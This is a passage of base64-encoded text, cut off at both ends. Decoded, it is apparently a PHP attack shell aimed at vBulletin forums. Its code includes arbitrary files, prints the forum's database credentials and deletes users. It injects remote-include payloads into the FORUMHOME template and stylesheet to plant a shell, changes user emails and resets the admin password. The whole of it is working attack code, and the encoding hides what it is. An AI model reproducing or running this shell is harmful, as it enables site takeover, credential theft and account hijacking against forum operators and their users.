Ow0KQk9SREVSLUJPVFRPTTogI2ZmZmZmZiAxIHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMDsNCmZvbnQ6IDlwdCB0YWhvbWE7DQpjb2xvcjogI2RhZGFkYTs7DQp9DQpzdWJtaXQgew0KQk9SREVSOiAgYnV0dG9uaGlnaGxpZ2h0IDEgb3V0c2V0Ow0KQkFDS0dST1VORC1DT0xPUjogIzI3MjcyNzsNCndpZHRoOiA0MCU7DQpjb2xvcjogI2RhZGFkYTsNCn0NCnRleHRhcmVhIHsNCkJPUkRFUi1SSUdIVDogICNmZmZmZmYgMSBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICM5OTk5OTkgMSBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICM5OTk5OTkgMSBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICNmZmZmZmYgMSBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMzMzMzMzM7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICNmZmZmZmY7DQp9DQpCT0RZIHsNCm1hcmdpbjogMTsNCmNvbG9yOiAjZGFkYWRhOw0KYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsNCn0NCkE6bGluayB7Q09MT1I6cmVkOyBURVhULURFQ09SQVRJT046IG5vbmV9DQpBOnZpc2l0ZWQgeyBDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6YWN0aXZlIHtDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6aG92ZXIge2NvbG9yOmJsdWU7VEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KDQo8L1NUWUxFPg0KPC9oZWFkPg0KIDxib2R5IGJnY29sb3I9IiMwMDAwMDAiIHRleHQ9ImxpbWUiIGxpbms9ImxpbWUiIHZsaW5rPSJsaW1lIj4NCiA8Y2VudGVyPg0KPD8NCiRhY3QgPSAkX0dFVFsnYWN0J107DQppZigkYWN0PT0ncmVjb25maWcnICYmIGlzc2V0KCRfUE9TVFsncGF0aCddKSkNCnsNCiRwYXRoID0gJF9QT1NUWydwYXRoJ107DQppbmNsdWRlICRwYXRoOw0KPz4NCjx0YWJsZSBib3JkZXI9IjEiIGJnY29sb3I9IiMwMDAwMDAiIGJvcmRlcmNvbG9yPSJsaW1lIg0KYm9yZGVyY29sb3JkYXJrPSJsaW1lIiBib3JkZXJjb2xvcmxpZ2h0PSJsaW1lIj48dGg+Ojo6OlJlYWQgQ29uZmlnIERhdGE6Ojo6PC90aD48dGg+PD8gZWNobyAnPGZvbnQgY29sb3I9eWVsbG93PicgLiAkcGF0aCAuICc8L2ZvbnQ+JzsgPz48L3RoPg0KPHRyPg0KPHRoPkhvc3QgOiA8L3RoPjx0aD48PyBlY2hvICc8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRjb25maWdbJ01hc3RlclNlcnZlciddWydzZXJ2ZXJuYW1lJ10gLiAnPC9mb250Pic7ID8+PC90aD4NCjwvdHI+DQo8dHI+DQo8dGg+VXNlciA6IDwvdGg+PHRoPjw/IGVjaG8gJzxmb250IGNvbG9yPXllbGxvdz4nIC4gJGNvbmZpZ1snTWFzdGVyU2VydmVyJ11bJ3VzZXJuYW1lJ10gLiAnPC9mb250Pic7ID8+PC90aD4NCjwvdHI+DQo8dHI+DQo8dGg+UGFzcyA6IDwvdGg+PHRoPjw/DQokcGFzc3NxbCA9ICRjb25maWdbJ01hc3RlclNlcnZlciddWydwYXNzd29yZCddOw0KaWYgKCRwYXNzc3FsID09ICcnKQ0Kew0KJHJlc3VsdCA9ICc8Zm9udCBjb2xvcj1yZWQ+Tm8gUGFzc3dvcmQ8L2ZvbnQ+JzsNCn0gZWxzZSB7DQokcmVzdWx0ID0gJzxmb250IGNvbG9yPXllbGxvdz4nIC4gJHBhc3NzcWwgLiAnPC9mb250Pic7DQp9DQplY2hvICRyZXN1bHQ7ID8+PC90aD4NCjwvdHI+DQo8dHI+DQo8dGg+TmFtZSA6IDwvdGg+PHRoPjw/IGVjaG8gJzxmb250IGNvbG9yPXllbGxvdz4nIC4gJGNvbmZpZ1snRGF0YWJhc2UnXVsnZGJuYW1lJ10gLiAnPC9mb250Pic7ID8+PC90aD4NCjwvdHI+DQo8L3RhYmxlPg0KPD8NCn0NCmlmKGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ3VzZXInXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIGlzc2V0KCRfUE9TVFsnZGInXSkgJiYgJGFjdD09ImRlbCIgICYmIGlzc2V0KCRfUE9TVFsndmJ1c2VyJ10pICkNCnsNCiAkaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgPSAkX1BPU1RbJ2RiJ107DQokdmJ1c2VyID0gJF9QT1NUWyd2YnVzZXInXTsNCm15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggdXNlcjwvZm9udD4nKTsNCm15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggREI8L2ZvbnQ+Jyk7DQppZiAoJHBhc3MgPT0gJycpDQp7DQokbnBhc3MgPSAnTlVMTCc7DQp9IGVsc2Ugew0KJG5wYXNzID0gJHBhc3M7DQp9DQplY2hvJzxmb250IHNpemU9Mz5Zb3UgYXJlIGNvbm5lY3RlZCB3aXRoIHRoZSBteXNxbCBzZXJ2ZXIgb2YgPGZvbnQgY29sb3I9eWVsbG93PicgLiAkaG9zdCAuICc8L2ZvbnQ+IGJ5IHVzZXIgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICR1c2VyIC4gJzwvZm9udD4gLCBwYXNzIDogPGZvbnQgY29sb3I9eWVsbG93PicgLiAkbnBhc3MgLiAnPC9mb250PiBhbmQgc2VsZWN0ZWQgREIgd2l0aCB0aGUgbmFtZSA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRkYiAuICc8L2ZvbnQ+PC9mb250Pic7DQo/Pg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPD8NCiRxdWVyeSA9ICdkZWxldGUgKiBmcm9tIHVzZXIgd2hlcmUgdXNlcm5hbWU9IicgLiAkdmJ1c2VyIC4gJyI7JzsNCiRyID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTsNCmlmICgkcikNCnsNCmVjaG8gJzxmb250IGNvbG9yPXllbGxvdz5Vc2VyIDogJyAuICR2YnVzZXIgLiAnIHdhcyBkZWxldGVkPC9mb250Pic7DQp9IGVsc2Ugew0KZWNobyAnPGZvbnQgY29sb3I9cmVkPlVzZXIgOiAnIC4gJHZidXNlciAuICcgY291bGQgbm90IGJlIGRlbGV0ZWQ8L2ZvbnQ+JzsNCn0NCn0NCmlmKGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ3VzZXInXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIGlzc2V0KCRfUE9TVFsnZGInXSkgJiYgJGFjdD09InNoZWxsIiAgJiYgaXNzZXQoJF9QT1NUWyd2YXInXSkpDQp7DQokaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgPSAkX1BPU1RbJ2RiJ107DQokdmFyID0gJF9QT1NUWyd2YXInXTsNCm15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggdXNlcjwvZm9udD4nKTsNCm15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggREI8L2ZvbnQ+Jyk7DQppZiAoJHBhc3MgPT0gJycpDQp7DQokbnBhc3MgPSAnTlVMTCc7DQp9IGVsc2Ugew0KJG5wYXNzID0gJHBhc3M7DQp9DQplY2hvJzxmb250IHNpemU9Mz5Zb3UgYXJlIGNvbm5lY3RlZCB3aXRoIHRoZSBteXNxbCBzZXJ2ZXIgb2YgPGZvbnQgY29sb3I9eWVsbG93PicgLiAkaG9zdCAuICc8L2ZvbnQ+IGJ5IHVzZXIgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICR1c2VyIC4gJzwvZm9udD4gLCBwYXNzIDogPGZvbnQgY29sb3I9eWVsbG93PicgLiAkbnBhc3MgLiAnPC9mb250PiBhbmQgc2VsZWN0ZWQgREIgd2l0aCB0aGUgbmFtZSA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRkYiAuICc8L2ZvbnQ+PC9mb250Pic7DQo/Pg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPD8NCiRXZHQgPSAnVVBEQVRFIGB0ZW1wbGF0ZWAgU0VUIGB0ZW1wbGF0ZWAgPSBcJyAiLnByaW50IGluY2x1ZGUoJEhUVFBfR0VUX1ZBUlNbJyAuICR2YXIgLiAnXSkuIiBcJ1dIRVJFIGB0aXRsZWAgPVwnRk9SVU1IT01FXCc7JzsNCiRXZHQyPSAnVVBEQVRFIGBzdHlsZWAgU0VUIGBjc3NgID0gXCcgIi5wcmludCBpbmNsdWRlKCRIVFRQX0dFVF9WQVJTWycgLiAkdmFyIC4gJ10pLiIgXCcsIGBzdHlsZXZhcnNgID0gXCdcJywgYGNzc2NvbG9yc2AgPSBcJ1wnLCBgZWRpdG9yc3R5bGVzYCA9IFwnXCcgOyc7DQokcmVzdWx0PW15c3FsX3F1ZXJ5KCRXZHQpOw0KICBpZiAoJHJlc3VsdCkge2VjaG8gIjxwPkRvbmUgRXhwbG9pdC48L3A+PGJyPlVzZSB0aGlzIDogPGJyPiBpbmRleC5waHA/IiAuICR2YXIgLiAiPXNoZWxsLnR4dCI7fWVsc2V7DQplY2hvICI8cD5FcnJvcjwvcD4iO30NCiRyZXN1bHQxPW15c3FsX3F1ZXJ5KCRXZHQyKTsNCiAgaWYgKCRyZXN1bHQxKSB7IGVjaG8gIjxwPkRvbmUgQ3JlYXRlIEZpbGU8L3A+PGJyPlVzZSB0aGlzIDogPGJyPiBpbmRleC5waHA/IiAuICR2YXIgLiAiPXNoZWxsLnR4dCI7fSBlbHNleyBlY2hvICI8cD5FcnJvcjwvcD4iO30NCn0NCmlmKGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ3VzZXInXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIGlzc2V0KCRfUE9TVFsnZGInXSkgJiYgJGFjdD09ImNvZGUiICAmJiBpc3NldCgkX1BPU1RbJ2NvZGUnXSkpDQp7DQokaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgPSAkX1BPU1RbJ2RiJ107DQokaW5kZXggPSAkX1BPU1RbJ2NvZGUnXTsNCm15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggdXNlcjwvZm9udD4nKTsNCm15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggREI8L2ZvbnQ+Jyk7DQppZiAoJHBhc3MgPT0gJycpDQp7DQokbnBhc3MgPSAnTlVMTCc7DQp9IGVsc2Ugew0KJG5wYXNzID0gJHBhc3M7DQp9DQplY2hvJzxmb250IHNpemU9Mz5Zb3UgYXJlIGNvbm5lY3RlZCB3aXRoIHRoZSBteXNxbCBzZXJ2ZXIgb2YgPGZvbnQgY29sb3I9eWVsbG93PicgLiAkaG9zdCAuICc8L2ZvbnQ+IGJ5IHVzZXIgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICR1c2VyIC4gJzwvZm9udD4gLCBwYXNzIDogPGZvbnQgY29sb3I9eWVsbG93PicgLiAkbnBhc3MgLiAnPC9mb250PiBhbmQgc2VsZWN0ZWQgREIgd2l0aCB0aGUgbmFtZSA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRkYiAuICc8L2ZvbnQ+PC9mb250Pic7DQo/Pg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPD8NCiRpbmRleCA9ICRfUE9TVFsnYiddOw0KJFdkdCA9ICdVUERBVEUgYHRlbXBsYXRlYCBTRVQgYHRlbXBsYXRlYCA9IFwnICcgLiAkaW5kZXggLiAnICBcJ1dIRVJFIGB0aXRsZWAgPVwnRk9SVU1IT01FXCc7JzsNCiRXZHQyPSAnVVBEQVRFIGBzdHlsZWAgU0VUIGBjc3NgID0gXCcgJyAuICRpbmRleCAuICcgXCcsIGBzdHlsZXZhcnNgID0gXCdcJywgYGNzc2NvbG9yc2AgPSBcJ1wnLCBgZWRpdG9yc3R5bGVzYCA9IFwnXCcgOyc7DQokcmVzdWx0PW15c3FsX3F1ZXJ5KCRXZHQpOw0KICBpZiAoJHJlc3VsdCkge2VjaG8gIjxwPkluZGV4IHdhcyBDaGFuZ2VkIFN1Y2NlZnVsbHk8L3A+Ijt9ZWxzZXsNCmVjaG8gIjxwPkZhaWxlZCB0byBjaGFuZ2UgaW5kZXg8L3A+Ijt9DQokcmVzdWx0MT1teXNxbF9xdWVyeSgkV2R0Mik7DQppZiAoJHJlc3VsdDEpIHtlY2hvICI8cD5Eb25lIENyZWF0ZSBGaWxlPC9wPiI7fSBlbHNleyBlY2hvICI8cD5FcnJvcjwvcD4iO30NCn0NCg0KaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzc2V0KCRfUE9TVFsndXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgaXNzZXQoJF9QT1NUWydkYiddKSAmJiAkYWN0PT0iaW5jIiAgJiYgaXNzZXQoJF9QT1NUWydsaW5rJ10pKQ0Kew0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiID0gJF9QT1NUWydkYiddOw0KJHZibGluayA9ICRfUE9TVFsnbGluayddOw0KbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCB1c2VyPC9mb250PicpOw0KbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCBEQjwvZm9udD4nKTsNCmlmICgkcGFzcyA9PSAnJykNCnsNCiRucGFzcyA9ICdOVUxMJzsNCn0gZWxzZSB7DQokbnBhc3MgPSAkcGFzczsNCn0NCmVjaG8nPGZvbnQgc2l6ZT0zPllvdSBhcmUgY29ubmVjdGVkIHdpdGggdGhlIG15c3FsIHNlcnZlciBvZiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRob3N0IC4gJzwvZm9udD4gYnkgdXNlciA6IDxmb250IGNvbG9yPXllbGxvdz4nIC4gJHVzZXIgLiAnPC9mb250PiAsIHBhc3MgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRucGFzcyAuICc8L2ZvbnQ+IGFuZCBzZWxlY3RlZCBEQiB3aXRoIHRoZSBuYW1lIDxmb250IGNvbG9yPXllbGxvdz4nIC4gJGRiIC4gJzwvZm9udD48L2ZvbnQ+JzsNCj8+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Pw0KJGhhY2sxNSA9ICdVUERBVEUgYHRlbXBsYXRlYCBTRVQgYHRlbXBsYXRlYCA9IFwnJHNwYWNlcl9vcGVuDQp7JHtpbmNsdWRlKFwnXCcnIC4gJHZibGluayAuICdcJ1wnKX19eyR7ZXhpdCgpfX0mDQokX3BocGluY2x1ZGVfb3V0cHV0XCdXSEVSRSBgdGl0bGVgID1cJ0ZPUlVNSE9NRVwnOyc7DQokaGFjaz0gJ1VQREFURSBgc3R5bGVgIFNFVCBgY3NzYCA9IFwnJHNwYWNlcl9vcGVuDQp7JHtpbmNsdWRlKFwnXCcnIC4gJHZibGluayAuJ1wnXCcpfX17JHtleGl0KCl9fSYNCiRfcGhwaW5jbHVkZV9vdXRwdXRcJywgYHN0eWxldmFyc2AgPSBcJ1wnLCBgY3NzY29sb3JzYCA9IFwnXCcsIGBlZGl0b3JzdHlsZXNgID0gXCdcJyA7JzsNCiRyZXN1bHQ9bXlzcWxfcXVlcnkoJGhhY2sxNSkgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KJHJlc3VsdD1teXNxbF9xdWVyeSgkaGFjaykgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KfQ0KaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzc2V0KCRfUE9TVFsndXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgaXNzZXQoJF9QT1NUWydkYiddKSAmJiAkYWN0PT0ibWFpbCIgICYmIGlzc2V0KCRfUE9TVFsndmJ1c2VyJ10pICAmJiBpc3NldCgkX1BPU1RbJ3ZibWFpbCddKSkNCnsNCiAkaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgPSAkX1BPU1RbJ2RiJ107DQokdmJ1c2VyID0gJF9QT1NUWyd2YnVzZXInXTsNCiR2Ym1haWwgPSAkX1BPU1RbJ3ZibWFpbCddOw0KbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCB1c2VyPC9mb250PicpOw0KbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCBEQjwvZm9udD4nKTsNCmlmICgkcGFzcyA9PSAnJykNCnsNCiRucGFzcyA9ICdOVUxMJzsNCn0gZWxzZSB7DQokbnBhc3MgPSAkcGFzczsNCn0NCmVjaG8nPGZvbnQgc2l6ZT0zPllvdSBhcmUgY29ubmVjdGVkIHdpdGggdGhlIG15c3FsIHNlcnZlciBvZiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRob3N0IC4gJzwvZm9udD4gYnkgdXNlciA6IDxmb250IGNvbG9yPXllbGxvdz4nIC4gJHVzZXIgLiAnPC9mb250PiAsIHBhc3MgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRucGFzcyAuICc8L2ZvbnQ+IGFuZCBzZWxlY3RlZCBEQiB3aXRoIHRoZSBuYW1lIDxmb250IGNvbG9yPXllbGxvdz4nIC4gJGRiIC4gJzwvZm9udD48L2ZvbnQ+JzsNCj8+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Pw0KJHF1ZXJ5ID0gJ3VwZGF0ZSB1c2VyIHNldCBlbWFpbD0iJyAuICR2Ym1haWwgLiAnIiB3aGVyZSB1c2VybmFtZT0iJyAuICR2YnVzZXIgLiAnIjsnOw0KJHJlID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTsNCmlmICgkcmUpDQp7DQplY2hvICc8Zm9udCBzaXplPTM+PGZvbnQgY29sb3I9eWVsbG93PlRoZSBFLU1BSUwgb2YgdGhlIHVzZXIgPC9mb250Pjxmb250IGNvbG9yPXJlZD4nIC4gJHZidXNlciAuICc8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93PiB3YXMgY2hhbmdlZCB0byA8L2ZvbnQ+PGZvbnQgY29sb3I9cmVkPicgLiAkdmJtYWlsIC4gJzwvZm9udD48YnI+QmFjayB0byA8YSBocmVmPSI/Ij5TaGVsbDwvYT48L2ZvbnQ+JzsNCn0gZWxzZSB7DQplY2hvICc8Zm9udCBzaXplPTM+PGZvbnQgY29sb3I9cmVkPkZhaWxlZCB0byBjaGFuZ2UgRS1NQUlMPC9mb250PjwvZm9udD4nOw0KfQ0KfQ0KaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzc2V0KCRfUE9TVFsndXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgaXNzZXQoJF9QT1NUWydkYiddKSAmJiAkYWN0PT0icHN3IiAgJiYgaXNzZXQoJF9QT1NUWyd2YnVzZXInXSkgICYmIGlzc2V0KCRfUE9TVFsndmJwYXNzJ10pKQ0Kew0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiID0gJF9QT1NUWydkYiddOw0KJHZidXNlciA9ICRfUE9TVFsndmJ1c2VyJ107DQokdmJwYXNzID0gJF9QT1NUWyd2YnBhc3MnXTsNCm15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggdXNlcjwvZm9udD4nKTsNCm15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggREI8L2ZvbnQ+Jyk7DQppZiAoJHBhc3MgPT0gJycpDQp7DQokbnBhc3MgPSAnTlVMTCc7DQp9IGVsc2Ugew0KJG5wYXNzID0gJHBhc3M7DQp9DQplY2hvJzxmb250IHNpemU9Mz5Zb3UgYXJlIGNvbm5lY3RlZCB3aXRoIHRoZSBteXNxbCBzZXJ2ZXIgb2YgPGZvbnQgY29sb3I9eWVsbG93PicgLiAkaG9zdCAuICc8L2ZvbnQ+IGJ5IHVzZXIgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICR1c2VyIC4gJzwvZm9udD4gLCBwYXNzIDogPGZvbnQgY29sb3I9eWVsbG93PicgLiAkbnBhc3MgLiAnPC9mb250PiBhbmQgc2VsZWN0ZWQgREIgd2l0aCB0aGUgbmFtZSA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRkYiAuICc8L2ZvbnQ+PC9mb250Pic7DQo/Pg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPD8NCiRxdWVyeSA9ICdzZWxlY3QgKiBmcm9tIHVzZXIgd2hlcmUgdXNlcm5hbWU9IicgLiAkdmJ1c2VyIC4gJyI7JzsNCiRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnkpOw0Kd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkNCnsNCiRzYWx0ID0gJHJvd1snc2FsdCddOw0KJHggPSBtZDUoJHZicGFzcyk7DQokeCA9JHggLiAkc2FsdDsNCiRwYXNzX3NhbHQgPSBtZDUoJHgpOw0KJHF1ZXJ5ID0gJ3VwZGF0ZSB1c2VyIHNldCBwYXNzd29yZD0iJyAuICRwYXNzX3NhbHQgLiAnIiB3aGVyZSB1c2VybmFtZT0iJyAuICR2YnVzZXIgLiAnIjsnOw0KJHJlID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTsNCmlmICgkcmUpDQp7DQplY2hvICc8Zm9udCBzaXplPTM+PGZvbnQgY29sb3I9eWVsbG93PlRoZSBwYXNzIG9mIHRoZSB1c2VyIDwvZm9udD48Zm9udCBjb2xvcj1yZWQ+JyAuICR2YnVzZXIgLiAnPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz4gd2FzIGNoYW5nZWQgdG8gPC9mb250Pjxmb250IGNvbG9yPXJlZD4nIC4gJHZicGFzcyAuICc8L2ZvbnQ+PGJyPkJhY2sgdG8gPGEgaHJlZj0iPyI+U2hlbGw8L2E+PC9mb250Pic7DQp9IGVsc2Ugew0KZWNobyAnPGZvbnQgc2l6ZT0zPjxmb250IGNvbG9yPXJlZD5GYWlsZWQgdG8gY2hhbmdlIFBhc3NXb3JkPC9mb250PjwvZm9udD4nOw0KfQ0KfQ0KfQ0KaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzc2V0KCRfUE9TVFsndXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgaXNzZXQoJF9QT1NUWydkYiddKSAmJiAkYWN0PT0ibG9naW4iKQ0Kew0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiID0gJF9QT1NUWydkYiddOw0KbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCB1c2VyPC9mb250PicpOw0KbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCBEQjwvZm9udD4nKTsNCmlmICgkcGFzcyA9PSAnJykNCnsNCiRucGFzcyA9ICdOVUxMJzsNCn0gZWxzZSB7DQokbnBhc3MgPSAkcGFzczsNCn0NCmVjaG8nPGZvbnQgc2l6ZT0zPllvdSBhcmUgY29ubmVjdGVkIHdpdGggdGhlIG15c3FsIHNlcnZlciBvZiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRob3N0IC4gJzwvZm9udD4gYnkgdXNlciA6IDxmb250IGNvbG9yPXllbGxvdz4nIC4gJHVzZXIgLiAnPC9mb250PiAsIHBhc3MgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRucGFzcyAuICc8L2ZvbnQ+IGFuZCBzZWxlY3RlZCBEQiB3aXRoIHRoZSBuYW1lIDxmb250IGNvbG9yPXllbGxvdz4nIC4gJGRiIC4gJzwvZm9udD48L2ZvbnQ+JzsNCj8+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Zm9ybSBuYW1lPSJjaGFuZ2VwYXNzIiBhY3Rpb249Ij9hY3Q9cHN3IiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6Q2hhbmdlIFVzZXIgUGFzc3dvcmQ6Ojo6OjwvdGg+PHRoPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IkNoYW5nZSIgdmFsdWU9IkNoYW5nZSIgLz48L3RoPg0KPHRyPjx0ZD5Vc2VyIDogPC90ZD48dGQ+PGlucHV0IG5hbWU9InZidXNlciIgdmFsdWU9ImFkbWluIiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+UGFzcyA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJ2YnBhc3MiIHZhbHVlPSJlZ3kgc3BpZGVyIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8Pw0KZWNobyc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJob3N0IiB2YWx1ZT0iJyAuICRob3N0IC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idXNlciIgdmFsdWU9IicgLiAkdXNlciAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhc3MiIHZhbHVlPSInIC4gJHBhc3MgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkYiIgdmFsdWU9IicgLiAkZGIgLiAnIj4nOw0KPz4NCjwvZm9ybT4NCjxociBjb2xvcj0iIzAwRkYwMCIgLz4NCjxmb3JtIG5hbWU9ImNoYW5nZXBhc3MiIGFjdGlvbj0iP2FjdD1tYWlsIiBtZXRob2Q9InBv